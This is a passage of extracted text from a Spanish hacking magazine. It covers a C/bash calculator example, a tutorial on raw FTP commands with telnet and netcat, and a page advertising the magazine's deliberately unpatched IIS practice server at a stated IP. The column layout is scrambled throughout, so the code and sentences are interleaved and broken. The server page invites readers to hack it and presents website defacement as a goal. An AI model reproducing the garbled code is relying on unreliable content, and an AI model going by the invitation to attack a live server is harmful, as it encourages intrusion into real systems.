Caso de resta */ if(opcion == 2) # Operaci~n Multiplicaci~n { if [ $opcion -eq 3 ] resultado = numA - numB; then } resultado=`echo " $numA * $numB " | bc -l` /* Caso de multiplicaci~n */ fi if(opcion == 3) { # Operaci~n Divisi~n resultado = numA * numB; if [ $opcion -eq 4 ] } then /* Caso de divisi~n */ resultado=`echo " $numA / $numB " | bc -l` if(opcion == 4) fi { # Si no vamos a salir, imprimir el resultado y “limpiar” resultado = numA / numB; # opcion } if [ $opcion -ne 5 ] /* Si no vamos a salir, imprimimos el resultado */ then if(opcion != 5) echo $resultado { opcion=-1 printf("n%fn", resultado); else } echo "Gracias por usar mi calculadora" fi }while(opcion != 5); done } Página 14 PC PASO A PASO Nº 11
  • 15. Programación bajo Linux - Programación bajo Linux - Programación bajo Linux Como se puede observar ambos códigos difieren Para compilar el código C emplearemos los mucho incluso en su estructura (debido siguientes pasos: principalmente a que el baash-script no soporta luis@nostromo:~/hxc/a4$ gcc calculadora.c -o calculadora bucles hacer.....mientras. Pero por lo demás luis@nostromo:~/hxc/a4$ ./calculadora ambos programas no son más, en su parte 1- Sumar más importante, que una mera traducción del 2- Restar pseudo código arriba mostrado. 3- Multiplicar 4- Dividir 5- Salir 4.1. Ejecutando los programas Introduzca opción: Al invocar al compilador con gcc calculadora.c -o Finalmente vamos a ejecutar los programas calculadora le estamos diciendo que compile el que hemos creado. En próximos artículos, y a código C almacenado en el fichero calculadora.c medida que vayamos realizando programas y que genere un ejecutable llamado calculadora más complejos, iremos explicando opciones (por defecto si no se le pasa la opción -o más avanzadas de los compiladores o nombre_ejecutable, crea uno llamado a.out). intérpretes que empleemos. En nuestro caso sobre todo del compilador de C, el gcc En la siguiente línea (en azul) tan sólo e j e c u t a m o s e l e j e c u t a b l e g e n e ra d o. Para poder ejecutar el bash-script tendremos dos opciones: 5. Terminando Esto es todo por hoy. Puede que los temas • Poner permisos de ejecución al archivo tratados parezcan muy básicos a unos; puede donde guardemos el código y que a otros les parezca que nada de esto tiene ejecutarlo (OJO!!! Esto sólo lo podremos hacer si la primera línea del archivo que que ver con el llamado mundo del hacking.... contenga el bash-script comienza por A los primeros pedirles paciencia; aquí hay #!/bin/sh) gente que es la primera vez que toman contacto . Ejemplo: con la programación. A los segundos decirles luis@nostromo:~/hxc/a4$ chmod +x calculadora.sh que no se puede comenzar a construir la casa luis@nostromo:~/hxc/a4$ ./calculadora.sh por el tejado, y que si no sabemos cómo darle 1- Sumar instrucciones a un ordenador, “malamente” 2- Restar podremos realizar The Ultimate Application on 3- Multiplicar Networking Security 4- Dividir En el siguiente artículo nos centraremos más 5- Salir en el C como lenguaje de programación y en • Invocando al intérprete bash-shell el compilador gcc. El bash-scripting tomará luis@nostromo:~/hxc/a4$ sh calculadora.sh otros derroteros no menos interesantes: Creación 1- Sumar de nuestros propios scripts para administrar 2- Restar nuestro sistema. Y cuando digo administrar 3- Multiplicar nuestro sistema me refiero tanto a mover 4- Dividir archivos de un lado para otro como monitorizar 5- Salir la red. Saludos. PC PASO A PASO Nº 11 Página 15
  • 16. SERIE RAW: ENTENDIENDO LOS PROTOCOLOS Y SU SEGURIDAD RAW 5 : FTP (File Transfer Protocol) PRIMERA PARTE Por fin tenemos ante nosotros la primera parte de la SERIE RAW dedicada al PROTOCOLO FTP. Vamos a “hablar” con un Servidor FTP de TU a TU -- Sin mediadores -- 0. Introducción 1. EL PROTOCOLO FTP Toda la existencia de la serie RAW se remonta 1.1. Mecánismo básico del FTP a hace ya un año, cuando escribía por amor al arte en lugar de hacerlo para ninguna Si buscamos el término “FTP” en la base de revista. Por aquel entonces escribía una datos de RFCs (www.rfc-editor.org), serie de tutoriales sobre técnicas concretas encontraremos una lista bastante extensa de de “hacking”, algunos de los cuales podéis documentos que tratan directa o indirectamente bajar directamente del foro de la revista en sobre este protocolo. Y no nos debería extrañar www.hackxcrack.com. Un buen día, mucho, si nos fijamos en que el RFC 114 me disponía a redactar un tutorial sobre (ftp://ftp.rfc-editor.org/in-notes/rfc114.txt), donde FTP Bounce, una técnica que básicamente se encuentra la primera definición del protocolo, consiste en utilizar un servidor FTP se remonta nada menos que al año ¡¡1971!! ajeno como puente para realizar conexiones “anónimas” a cualquier otra máquina, Desde luego, poco tiene que ver ese primer cuando me di cuenta de que para poder protocolo de transferencia de archivos (File escribirlo tenía que dar por hecho que los Transfer Protocol) con el que utilizamos lectores conocían el protocolo F TP actualmente, pero esto no deja de ser una en profundidad, así como otros protocolos. prueba de la necesidad e importancia de este Viendo que el tema iba a ser demasiado protocolo. avanzado si no se conocían los conceptos previos, decidí comenzar una nueva El RFC actual de FTP (ya que el 114 está más serie que tratase sobre protocolos, entre los que obsoleto) es el RFC 959 (ftp://ftp.rfc- cuales incluiría, por supuesto, el FTP. editor.org/in-notes/rfc959.txt). Casualmente, me encontré entonces con la revista, y fue así como nació la serie Entre la maraña de RFCs que tratan directa o RAW. :-) indirectamente sobre FTP, podríamos hablar al menos de 2 interesantes. El RFC 2577 Asi que, sin más preámbulos, voy al fin a (ftp://ftp.rfc-editor.org/in-notes/rfc2577.txt) nos redactar el artículo que me llevó a todo esto. habla de algunos de los problemas de Para ello empezaré detallando el funcionamiento seguridad del protocolo FTP, aunque de eso del protocolo, para luego explicar una serie de ya os hablaré yo con mucho más detalle en técnicas para explotar los problemas de este artículo ;-). El RFC 2228 (ftp://ftp.rfc- seguridad del mismo. editor.org/in-notes/rfc2228.txt) nos habla de una Página 16 PC PASO A PASO Nº 11
  • 17. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP extensión con comandos adicionales para Empezaremos abriendo una consola, es decir, hacer el protocolo más seguro, aunque yo una ventana MS-DOS en Windows, o una shell personalmente no me he encontrado con ningún en Linux/Unix (si no sabes abrir una Ventana servidor FTP que los implemente :-). de Comandos, lee los números anteriores y/o pregunta en nuestro foro --> www.hackxcrack.com). ! Ya hemos hablado... Ahora vamos a conectar con un servidor FTP clásico, que es el de Rediris. Para ello escribimos: Ya hemos hablado en anteriores números sobre qué son los RFC, si deseas más información te recomendamos que ftp ftp.rediris.es visites http://www.rfc-es.org/ En esta WEB, multidud de colaboradores están traduciendo al español los RFC. Tienes ya muchos a tu disposición :) Para aquellos a los que ni siquiera les suene lo que es el FTP, lo resumo diciendo que es un protocolo que permite que un usuario remoto se conecte al disco duro de una máquina para poder ver, bajar, y subir archivos al mismo. Por supuesto, el administrador del servidor FTP será el que decida qué usuarios pueden bajar, subir, y ver qué archivos. Como vemos, nos aparece un texto de ! En nuestra Web... bienvenida, y a continuación nos pide el nombre de usuario: En nuestra WEB (www.hackxcrack.com), nada mas entrar, tienes el enlace al Número 1 de esta publicación. Descargarás de forma Name (ftp.rediris.es:pyc): totalmente gratuita la revista en formato PDF donde se explican bastantes cosas sobre los Servidores FTP y los Clientes FTP Como nos dice en el mensaje de bienvenida, este servidor sólo admite usuarios anónimos. Para entrar como usuario anónimo, el nombre 1.1.1. Comandos FTP de alto nivel de usuario que debemos utilizar es anonymous, y como password podemos poner cualquier El protocolo FTP se parece al IRC en el sentido cosa: de que existe una capa de comandos por encima de la capa raw, que es la que se utiliza Name (ftp.rediris.es:pyc): anonymous cuando conectamos a un servidor mediante ... un cliente en consola (ventana MS-DOS o shell 331 Any password will work de *NIX). El objetivo de este artículo es hablar Password: a de la capa raw, por lo que haré sólo una pasada rápida por los comandos de alto nivel. Tras introducir el nombre de usuario y el password, ya estamos dentro. A partir de ahora Vamos a verlo todo con un ejemplo práctico. podemos empezar a lanzar comandos para ver, PC PASO A PASO Nº 11 Página 17
  • 18. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP subir, y bajar los archivos. Hacemos un nuevo dir y vemos un directorio distributions: Empezaremos viendo qué archivos y directorios hay en donde nos encontramos ahora mismo. cd distributions Para ello escribimos: Ya estamos aquí, pero hemos empleado tanto dir en comando cd que ya ni sabemos donde estamos. Si escribimos ahora: pwd Nos dirá en qué directorio nos encontramos en estos momentos: 257 "/pub/linux/distributions" is your current location Queremos bajarnos la distribución de Linux de RedHat, así que buscamos su directorio, pero... ¡ojo! Como podemos ver, se trata de un link: lrwxrwxrwx 1 infoadmi infoadmi 22 Feb 22 2002 redhat -> ../../../mirror/redhat Como vemos, nos muestra los archivos con el Por lo que si ahora hacemos: mismo formato que un ls -la de Linux/Unix. Podéis repasar los artículos sobre Linux de cd redhat números anteriores de la revista si no os aclaráis con este listado. Si a continuación escribimos: De momento nos interesa el directorio pub, pwd porque ahí es donde típicamente se encontrarán los archivos disponibles para el público. Así Nos responderá lo siguiente: que hacemos: 257 "/mirror/redhat" is your current cd pub location Una vez en el directorio pub hacemos de nuevo: Ya que hemos hecho un salto directo hasta ese directorio en lugar de habernos movido paso dir a paso con varios comandos cd. Y vemos que hay un directorio linux. Nos Unos cuantos movimientos mas: metemos ahí con: cd redhat cd linux cd redhat-9-en Página 18 PC PASO A PASO Nº 11
  • 19. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP cd iso Y comenzará el download del primer CD deRed cd i386 Hat 9. :-) Y, tal y como vemos con un dir, ya hemos local: shrike-i386-disc1.iso remote: shrike- llegado donde están las imágenes ISO de los i386-disc1.iso 3 CDs de Red Hat 9.0. 227 Entering Passive Mode (130,206,1,5,127,9) Vamos a bajarnos el primer CD, para lo cual 150-Accepted data connection vamos a empezar por indicarle a nuestro cliente 150 653312.0 kbytes to download de FTP que nos muestre el progreso del ######################## download. Para ello escribimos: ######################## ######################## hash ######################## Si no hiciésemos esto, mientras se bajasen los ######################## cientos de megas que ocupa cada ISO nuestra ######################## consola no mostraría ningún tipo de mensaje, ####### por lo que no podríamos saber si se nos ha colgado o si sigue bajando todavía. La respuesta Todos esos caracteres # son las marcas de 1KB ante ese comando: que activamos previamente con el comando hash. Hash mark printing on (1024 bytes/hash mark). Una vez terminados nuestros downloads, podemos cerrar la sesión con el comando: Nos dice que nos mostrará una marca cada vez que mueva 1024 bytes, es decir, 1KB. bye Otro paso importante es decirle a nuestro cliente que los datos que vamos a bajar no 1.1.2. Cómo se transfieren los datos son texto, si no un archivo binario. Para ello escribimos: ¿Qué es lo que hacen el cliente y el servidor de ftp cuando ejecutamos un comando bin get (o un comando put, que es el equivalente a get pero para subir archivos en lugar de En realidad este comando no suele ser bajar)? necesario, ya que se suele configurar automáticamente, pero nunca está de más Cuando nos conectamos a un servidor indicarlo explícitamente para evitar de FTP lo que estamos haciendo en principio desagradables sorpresas después de varias es establecer una conexión TCP/IP con su horas de download. puerto 21 (al menos así lo indica el Una vez completados estos 2 pasos previos, estándar, pero luego cada uno puede ya sólo basta que hagamos: montar su servidor en el puerto que quiera). A través de esa conexión enviamos los get shrike-i386-disc1.iso comandos y recibimos la respuesta a los mismos (ver ilustración en la página siguiente). PC PASO A PASO Nº 11 Página 19
  • 20. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP ! Si no has tenido... Si no has tenido oportunidad de leerte el número 1 de Hack x Crack, este es el momento. Quedas advertido ;p 1.1.3. El famoso modo pasivo Ya se ha hablado en la revista acerca de la diferencia entre los modos pasivo y activo Todo esto es muy sencillo hasta aquí, sobre (llamémoslo así) de FTP, pero os lo recuerdo todo para nosotros que ya somos expertos en brevemente. la materia de los protocolos. Pero la complicación viene cuando hacemos una de Como he dicho en el punto anterior, el cliente estas 3 cosas: y el servidor se tienen que poner de acuerdo sobre cómo establecer el canal de datos. - Pedir un listado de archivos (comando dir). No hay que pensar mucho para deducir que - Bajar un archivo (comando get). sólo hay dos formas de hacer esto: - Subir un archivo (comando put). - Que el cliente abra un puerto para que el El resultado de cada una de estas 3 acciones servidor se conecte a él para la transferencia puede implicar un envío masivo de datos, de los datos. por lo que, lo que se hace es establecer una - Que sea el servidor el que abra el puerto nueva conexión cada vez que hay que realizar para que el cliente se conecte a él. una de estas transferencias. El cliente y el servidor se pondrán de acuerdo acerca de El primer sistema es el que se llama modo cómo establecer esa nueva conexión TCP/IP activo, y el segundo es el modo pasivo. Ya y, una vez establecida, será a través de esa veremos más adelante cómo se llega a este conexión por donde se enviarán los datos. acuerdo en detalle. Ojo! No confundamos en esta ilustración el sentido de la flecha con el sentido del flujo de los datos. La flecha representa el sentido del establecimiento de la conexión, pero los datos Página 20 PC PASO A PASO Nº 11
  • 21. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP circulan en el mismo sentido independiente realmente el DIR. mente de cómo se establezca la conexión, tal y como vemos por las rayitas que imprimen Una vez que estamos dentro de Rediris, nos velocidad al “archivo” del dibujo. :-) encontraremos en el directorio raíz (del FTP, claro, no del sistema), así que si hacemos: 1.2. Comandos RAW de FTP STAT . Vamos ya con lo nuestro, que son los comandos raw. ;-) Veremos el listado del directorio /, que es donde nos encontramos. Supongo que no hará falta 1.2.1. Establecimiento de la conexión que os recuerde que . se refiere siempre al directorio en el que te encuentras, y .. es el Una vez calentados los motores de nuestra directorio anterior al que te encuentras dentro aplicación de Telnet, lanzamos la siguiente del árbol de directorios. conexión: Podemos hacer también un listado con un path absoluto: telnet ftp.rediris.es 21 STAT /pub/linux Como vemos, el puerto estándar para FTP es el 21. 1.2.2. Autenticación ! Sobre el directorio... Los datos de autenticación circularán sin Sobre el directorio RAIZ de un Servidor FTP: Los que ninguna encriptación ni codificación, por lo que hace tiempo siguen nuestra publicación ya conocen no es necesario montar ningún jaleo para enviar perfectamente esto, pero para los que no… … Cuando el password como hacíamos con el protocolo instalamos en nuestro equipo un Software Servidor FTP, SMTP (¿recordáis la aplicación base64?) o con uno de los parámetros que nos pide es el Directorio Raiz la codificación de IPs en DCC. (una carpeta que crearemos donde queramos en nuestro Para establecer la conexión anónima basta con disco duro). Cuando pongamos en marcha el Servidor FTP que lancemos dos comandos: y alguien del exterior se conecte a nuestro equipo aparecerá en esa carpeta (Directorio Raiz) y verá todo lo que hay en USER anonymous esa carpeta, pero no podrá escapar de ella para ver el resto PASS a de nuestro disco duro (explicado en el número 1 de Hack x Crack). Si la conexión no fuese anónima, pondríamos el nombre de usuario y el password correspondientes. 1.2.4. Moviéndonos por los directorios 1.2.3. Listado de archivos a lo cutre Para implementar internamente el comando El funcionamiento de un simple DIR es bastante CD existen en realidad 2 comandos raw más complicado de lo que puede parecer en diferentes, que son: CWD y CDUP. un principio, por lo que de momento sólo veremos una forma sencilla de hacer el listado, El comando CWD (Change Working Directory) y más adelante explicaré cómo funciona sirve para movernos directamente a cualquier PC PASO A PASO Nº 11 Página 21
  • 22. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP directorio, mientras que el comando CDUP Al anteponer la / hacemos que el salto al sirve para ir tan sólo al directorio anterior directorio sea directo, a pesar de que dentro del árbol directorios. Es decir, CDUP estuviéramos previamente en /pub/linux. es equivalente a CD .. 1.2.5. Borrado y renombrado de archivos Para verlo con un ejemplo, recordemos que acabamos de conectarnos al FTP de Rediris, Generalmente, es muy raro que en las cuentas donde sabemos que hay un directorio pub. anónimas de FTP (en las que se entra con Así que podemos hacer directamente: usuario anonymous, como en la que estamos usando de ejemplo) haya permisos de borrado CWD pub de archivos, o incluso simplemente permiso para subir archivos. A lo que el servidor nos responde: A veces lo que si que podemos encontrar es 250 OK. Current directory is /pub un único directorio destinado a los uploads de los usuarios anónimos, donde sí que habrá Si ahora hacemos: estos permisos. CDUP En cualquier caso, a nadie le hará gracia que experimentéis con estos comandos en su Nos responderá: servidor, por lo que os aconsejo que os montéis vuestro propio servidor para pruebas, o bien que utilicéis el de algún amigo. 250 OK. Current directory is / Para borrar un archivo usaremos el comando Desde aquí podemos hacer directamente: DELE: CWD pub/linux DELE nombrearchivo Nos responderá diciendo: Y para renombrar el archivo nombre.old a nombre.new tendremos que usar 2 comandos 250 OK. Current directory is /pub/linux consecutivos: Pero aún así nosotros podemos comprobar el RNFR nombre.old directorio en el que nos encontramos en RNTO nombre.new cualquier momento utilizando el comando: 1.2.6. C r e a c i ó n y d e s t r u c c i ó n d e PWD directorios Y nos responderá: Si tenemos los permisos necesarios, también podremos crear nuestros propios directorios con el comando MKD: 257 "/pub/linux" is your current location MKD nombredirectorio También podemos hacer saltos a directorios absolutos, como por ejemplo: O borrarlo con el comando RMD: CWD /redhat RMD nombredirectorio Página 22 PC PASO A PASO Nº 11
  • 23. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP 1.2.7. Otros comandos Como vemos, nos dice 2 cosas. En primer lugar, nos indica que hay 2 comandos adicionales P a r a e m p e z a r, e l c o m a n d o S Y S T implementados en el servidor (CHMOD y IDLE), supuestamente nos muestra el sistema y en segundo lugar nos indica el software que operativo que corre en el servidor, pero aquí utiliza el servidor, así como su página web. el administrador o el software del servidor Con respecto a los comandos adicionales, pueden haber puesto cualquier cosa, por lo tenemos aquí un ejemplo de los clásicos que no es una fuente fiable de información. comandos SITE, que son utilizados por algunos Por ejemplo, ante un: servidores de FTP para aumentar la funcionalidad. Algunos servidores, como SYST GLFTPD (www.glftpd.org y www.glftpd.com) basan prácticamente toda su administración en Podría responder algo como esto: los comandos SITE. Es decir, el administrador configura el servidor desde la propia cuenta de 215 UNIX Type: L8 F TP, mediante comandos especiales. Otro comando es el NOOP que, como podréis Vemos que en Rediris hay 2 comandos SITE imaginar, no hace absolutamente nada, pero disponibles para los usuarios anónimos. Por puede ser útil para evitar ser expulsado del supuesto, es de suponer que el administrador servidor por exceso de idle (inactividad). del server FTP de Rediris dispondrá de Si hacemos: muchísimos comandos SITE más que le permitirán administrar todo el servidor NOOP remotamente. Por ejemplo, si hacemos aquí: Podemos encontrarnos una interesante respuesta como esta: SITE IDLE 100 200 Zzz... Haremos que el timeout por inactividad en nuestra sesión sea de 100 segundos. Un comando que nos puede ser de mucha Los comandos SITE dependen de cada software, ayuda es precisamente... el comando HELP: y son innumerables, por lo que se sale del tema explicarlos aquí. :-) HELP Vemos que el servidor de Rediris nos responde 1.2.8. Empezamos con la chicha: el lo siguiente: listado de archivos como dios manda 214-The following SITE commands are En realidad el comando DIR no funciona recognized mediante el comando raw STAT, si no con un CHMOD mecanismo más complejo, tal y como expliqué IDLE a grandes rasgos al principio del artículo. Vamos a ver cómo conseguirlo, tanto utilizando 214 Pure-FTPd - http://pureftpd.org modo pasivo, como utilizando modo activo. PC PASO A PASO Nº 11 Página 23
  • 24. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP 1.2.8.1. Listado en modo pasivo Ahora solo falta que lancemos un nuevo telnet (sin cerrar el anterior): En modo pasivo será el servidor el que abra elpuerto para establecer el canal de datos, por telnet 130.206.1.5 48829 lo que lo único que tenemos que decirle al servidor es que queremos establecer Y... ¡hop! En la nueva ventana de telnet aparecerá el listado. :-) un canal para alguna transferencia. Para ello basta con que ejecutemos el comando PASV: PASV A lo cual nos responderá con 6 números, cada uno de ellos en base 256: 227 Entering Passive Mode (130,206,1,5,190,189) Los 4 primeros números nos indican la IP del servidor, y los dos siguientes nos indican el número de puerto que ha abierto el servidor para establecer el canal de datos. Si recordamos del artículo anterior la decodificación en base 256 sabremos que el número 190.189 en base 256 equivale en 1.2.8.2. Listado en modo activo base decimal a: Espero que el modo pasivo no os pareciera complicado, porque el activo lo es quizá aún 190*256 = 48640 más. 48640 + 189 = 48829 En este caso somos nosotros los que tenemos que tener un puerto abierto en escucha para establecer el canal de datos. Para hacer esto Así que el puerto será el 48829. podemos utilizar el famoso netcat, que ya Ahora sólo nos falta decirle al servidor qué controlaréis gracias a otros artículos de la revista: ;-) queremos que se transfiera a través de ese canal de datos. En este caso, lo que queremos nc -vv -l -p 5100 que transfiera es el listado de archivos de un directorio, por lo que ejecutamos el comando Este comando, como ya sabemos, pone en escucha el puerto 5100. LIST: Vamos a empezar codificando el número 5100 en base 256. Si recordamos el artículo anterior, LIST será: Con esto el servidor ya no sólo tiene el puerto 5100 / 256 = 19'... 48829 a la escucha, si no que además tiene 5100 % 19 = 236 los datos preparados para ser enviados al primero que se conecte a ese puerto... ¿he Por tanto, 5100 en base 256 será 19.236. dicho al primero? ... ;-) Página 24 PC PASO A PASO Nº 11
  • 25. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP Supongamos que nuestra IP pública es ¿No será que estás detrás de un router? Si es 213.125.12.12. Si ahora ejecutamos en el así, es probable que tu router haga IP FTP el comando: masquerading, por lo que la IP que tienes que indicar en el comando PORT no es tu IP PORT 213,125,12,12,19,236 pública, si no tu IP privada (la de tu red local). Tu router automáticamente modificará ese dato para que lo que llegue al servidor de Rediris Le estaremos diciendo al servidor que hemos sea en realidad tu IP pública. Por tanto, si tu abierto un puerto en escucha para establecer IP privada fuese 192.168.1.1 en el ejemplo, un canal de datos. El puerto será el 19.236 en ésta sería la secuencia de comandos: base 256, es decir, el 5100 en base 10. La IP será la que le hemos indicado, es decir, nc -vv -l -p 5100 213.125.12.12. ¿No os suena esto de que PORT 192,168,1,1,19,236 seamos nosotros los que especificamos la IP LIST y el puerto a los que se tiene que conectar a algo que ya conté en el artículo sobre DCC? ;-) ! Hemos tratado... A continuación, le decimos al servidor qué queremos que se transfiera a través de ese Hemos tratado MUCHAS veces en esta publicación todo canal de datos. En este caso es el listado de lo relacionado con IPs Públicas, IPs Privadas, etc. Si tienes archivos, por lo que lanzamos el comando dudas pregunta en nuestro foro :) LIST: LIST 1.2.9. Listado de nombres En ese instante, en nuestro netcat veremos aparecer todo el listado. :-) Si queremos un listado más simple, en el que sólo se nos muestren los nombres de los archivos, y no todos sus permisos, podemos utilizar el comando NLST en lugar de LIST. Sería así para modo pasivo: PASV 227 Entering Passive Mode (130,206,1,5,190,189) NLST telnet 130.206.1.5 48829 Y así para modo activo: nc -vv -l -p 5100 PORT 192,168,1,1,19,236 NLST Un momento... ¿como que no? Vaya... no te El NLST lo utiliza internamente el comando funciona, ¿eh? :-m MGET para manejar más fácilmente la lista de archivos para el download múltiple. PC PASO A PASO Nº 11 Página 25
  • 26. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP 1.2.10. Bajando archivos (get) 226-File successfully transferred 226 250.9 seconds (measured here), Para implementar en raw el comando get hay 13.66 Kbytes per second que hacer alguna cosilla más que para el dir. La cuestión está en que el estándar proporciona Aquí observamos una diferencia importante con varios sistemas diferentes de representación respecto a los listados, y es que en el telnet de la información, aunque básicamente que abrimos para conectar con el canal de podemos considerar sólo 2: datos hacemos una redirección de salida a fichero (> lco.iso). Con eso conseguimos que Ascii (tipo A) – Se utiliza para transmisiones almacene los datos recibidos directamente sobre de texto, como por ejemplo los listados, y no el archivo lco.iso en nuestro disco duro. es válido para transmitir archivos binarios, como por ejemplo un ejecutable. Así de fácil se haría en un sistema Linux/Unix. Binario (tipo I) – Es el modo que se utiliza Si, en cambio, queréis guardar los datos en un habitualmente para bajar un archivo. Es el archivo en sistemas Windows, tendréis que modo que se activa cuando ejecutamos el configurar vuestra aplicación de telnet para que comando bin. guarde el log de la sesión, y después renombrar el archivo .log a la extensión que Por tanto, lo habitual es que el servidor esté tuviese el archivo original. por defecto en tipo A, y que cuando queramos hacer un get o un put de un archivo le Esto mismo en modo activo: indiquemos que utilice el tipo I. nc -vv -l -p 5100 > lco.iso Si tenéis curiosidad acerca del motivo por el TYPE I cual se utilizan diferentes representaciones 200 TYPE is now 8-bit binary para el texto y para los archivos, tened en PORT 192,168,1,1,19,236 cuenta que el código ascii estándar consta 200 PORT command successful tan sólo de 128 carácteres, los cuales se pueden RETR lco.iso representar con sólo 7 bits, mientras que los 150-Connecting to port 61427 datos de un archivo están formados por bytes, 150 3430 kbytes to download es decir, necesitan 8 bits para ser 226-File successfully transferred representados. 226 250.9 seconds (measured here), 13.66 Kbytes per second Así que ésta sería la secuencia de comandos para hacer un download del archivo lco.iso en 1.2.11. El resume modo pasivo: Imaginemos que estamos bajando una ISO de TYPE I 700MB, y cuando llevamos ya bajados 670MB 200 TYPE is now 8-bit binary perdemos la conexión por cualquier motivo. PASV ¿Tendríamos que volver a comenzar el download 227 Entering Passive Mode desde cero? Gracias a Dios, el protocolo FTP (130,206,1,5,190,189) nos da un comando para evitar que esto ocurra: RETR lco.iso el comando REST. telnet 130.206.1.5 48829 > lco.iso 150-Accepted data connection Supongamos que tenemos un download a 150 3430 kbytes to download medias de un archivo que ocupa 10MB, es decir, Página 26 PC PASO A PASO Nº 11
  • 27. Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP 10 * 1024 * 1024 = 10485760 Bytes. Si Vamos a ver cómo se haría esto en modo nuestro archivo ocupa sólo 987501 Bytes, pasivo: que es hasta donde pudimos bajar en la anterior TYPE I sesión, ésta será la secuencia de comandos PASV para que haga el resume: STOR lco.isonc 130.206.1.5 48829 < lco.iso TYPE I Como vemos, aquí no hemos utilizado telnet PASV para conectar, si no netcat, ya que la redirección de entrada no funciona con REST 987501 telnet. RETR lco.iso telnet 130.206.1.5 48829 > lco.iso Para hacer esto mismo en modo activo: 1.2.12. Subiendo archivos (put) nc -vv -l -p 5100 < lco.iso TYPE I PORT 192,168,1,1,19,236 Aquí se complica un poco más la cosa, ya que STOR lco.iso ya no nos limitamos a establecer una conexión 1.2.13. Bye bye... de datos con el servidor, si no que además tenemos que transferir un archivo nosotros Para terminar con los comandos RAW, tenemos mismos a través de esa conexión. el comando QUIT: QUIT que, como podemos imaginar sin mucho El comando para subir archivos es STOR, y su esfuerzo, sirve para implementar el comando sintáxis es la misma que la del comando RETR. BYE, es decir, para cerrar la sesión. Así que la diferencia más importante con RETR Pero aquí no termina la cosa, ya que aún falta es que tenemos que apañárnoslas para la segunda parte del artículo, que es en la transferir el archivo automáticamente a través que explico diversas técnicas para explotar las del canal de datos. Para ello podemos utilizar carencias de seguridad de este protocolo. Así la redireccion de entrada desde fichero, que estad bien atentos a la revista el próximo mes, que ahora viene lo más interesante. ;-) que es lo contrario de lo que hacíamos con el get. Autor: PyC (LCo) // Ilustraciones: MariAn (LCo) La media actual de participantes es de SOLO 230 personas: este es el sorteo más facil de ganar que existe !!! ANIMATE Y PARTICIPA !!! SI TE GUSTA LA INFORMÁTICA. SI ESTAS “CABREADO” CON GÜINDOUS ;) SI QUIERES PROGRESAR DE VERDAD Incluye 7 CD’s y 1 DVD PC PASO A PASO Manual de Instalación. SOR TEA CADA MES UN S.O. Manual de Administracion SUSE LINUX PR OFESSION AL 8.2 SIMPLEMENTE ENVIA LA PALABRA PCCON AL 5099 DESDE TU MOVIL PRECIO DEL MENSAJE: 0,90€ + IVA. VALIDO PARA (MOVISTAR - VODAFONE Y AMENA) IVA. VALIDO PARA (MOVISTAR EL PREMIO PUEDE SER CANJEABLE POR UN JUEGO DE PC O CONSOLA QUE NO SUPERELOS 85€ EL GANADOR SALDRA PUBLICADO AQUÍ 2 NÚMEROS DESPUES DE LA PUBLICACIÓN. PC PASO A PASO Nº 11 Página 27
  • 28. SERVIDOR DE HXC MODO DE EMPLEO 1.- Toma de contacto: Web y tiene su raíz en d:inetpub (el directorio por defecto) Hack x Crack ha habilitado un Servidor para que puedas realizar las Nota: Para quien nunca ha tenido instalado el IIS, le será extraño tanto el nombre de esta “prácticas de hacking”. carpeta (d:inetpub) cómo su contenido. Como ya te dijimos en anteriores números de PC PASO A PASO, la única manera de conocer “algo” es “tocándolo”… una buena práctica Actualmente tiene el BUG del Code / Decode y lo dejaremos así por sería que instalases el IIS en tu PC y conocieses su funcionamiento. un tiempo (bastante tiempo ;) Nuestra intención es ir habilitando Servidores a medida que os enseñemos distintos tipos de Hack, pero De momento, lo único que hay que saber es que cuando TÚ por el momento con un Servidor tendremos que ir tirando (la economía pongas nuestra IP (la IP de nuestro servidor) en tu explorador no da para mas). Web (por ejemplo el Internet Explorer), lo que estás haciendo realmente es ir al directorio d:Inetpubwwwroot y leer un archivo 2.- ¿Cómo puedo “hackear” el Servidor? llamado default.htm (ese archivo es la página Web que verás en ti Explorador). El BUG Code/Decode y la forma de “explotarlo” fue extensamente explicado en los números 2 y 3 de PC PASO A PASO. Otra Nota :) Como curiosidad, te diremos que APACHE es otro Servidor de páginas Web (seguro que has oído hablar de él y estás siguiendo nuestros cursos ¿verdad?). Si En el Servidor corre el Sistema Operativo Windows 2000 Advanced tuviésemos instalado el apache, cuando pusieses nuestra IP en TU navegador, accederías Server con el Software IIS (Software Servidor de Páginas Web) y a un directorio raíz del Apache (donde se hubiese instalado) e intentarías leer una página puedes encontrarlo en la IP 80.36.230.235. llamada index.html Si quieres acceder a él simplemente tienes que abrir tu navegador Explicamos esto porque la mayoría, seguro que piensa en un Servidor Web como en algo preferido (por ejemplo el Internet Explorer) y poner http://80.36.230.235 extraño que no saben ni donde está ni como se accede. Bueno, pues ya sabes dónde se ---> Si el servidor está ON LINE te encontrarás unos cuantos mensajes: encuentran la mayoría de IIS (en Inetpub) y cuál es la página por defecto Un saludo de los participantes de Hack x Crack, unas cuantas (Inetpubwwwrootdefault.htm). Y ahora, piensa un poco… … ¿Cuál es uno de los objetivos recomendaciones y todo eso :) de un hacker que quiere decirle al mundo que ha hackeado una Web? Pues está claro, el objetivo es cambiar (o sustituir) el archivo default.html por uno propio donde diga “hola, NOTA: Una cosa es acceder al servidor y otra hackearlo para acceder al resto del Sistema. Si soy DIOS y he hackeado esta Web” (eso si es un lamer ;) A partir de ese momento, lees los números 2 y 3 de PC PASO PASO ten por seguro que podrás hackearlo y acceder a cualquiera que acceda a ese servidor, verá el default.htm modificado para vergüenza del todos los discos duros (y mucho más). “site” hackeado. Esto es muy genérico pero os 